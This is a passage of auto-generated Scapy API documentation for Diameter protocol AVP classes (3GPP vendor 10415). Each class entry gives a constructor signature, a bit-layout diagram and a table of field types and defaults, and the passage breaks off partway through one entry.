class scapy.contrib.diameter.AVP_10415_1073(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2355-L2359]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1073                        


AVP_10415_1073 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1080(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2362-L2365]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1080                        


AVP_10415_1080 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1086(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2368-L2371]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1086                        


AVP_10415_1086 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1099(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2374-L2378]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1099                        


AVP_10415_1099 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1204(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2381-L2385]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1204                        


AVP_10415_1204 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1208(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2388-L2392]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1208                        


AVP_10415_1208 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1209(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2395-L2400]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1209                        


AVP_10415_1209 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1211(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2403-L2427]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1211                        


AVP_10415_1211 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1214(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2430-L2433]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1214                        


AVP_10415_1214 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1216(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2436-L2440]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1216                        


AVP_10415_1216 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1217(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2443-L2447]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1217                        


AVP_10415_1217 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1220(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2450-L2467]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1220                        


AVP_10415_1220 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1221(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2470-L2474]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1221                        


AVP_10415_1221 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1222(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2477-L2481]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1222                        


AVP_10415_1222 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1224(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2484-L2489]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1224                        


AVP_10415_1224 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1225(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2492-L2496]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1225                        


AVP_10415_1225 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1247(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2499-L2503]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1247                        


AVP_10415_1247 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1248(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2506-L2510]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1248                        


AVP_10415_1248 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1254(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2513-L2518]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1254                        


AVP_10415_1254 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1259(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2521-L2534]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
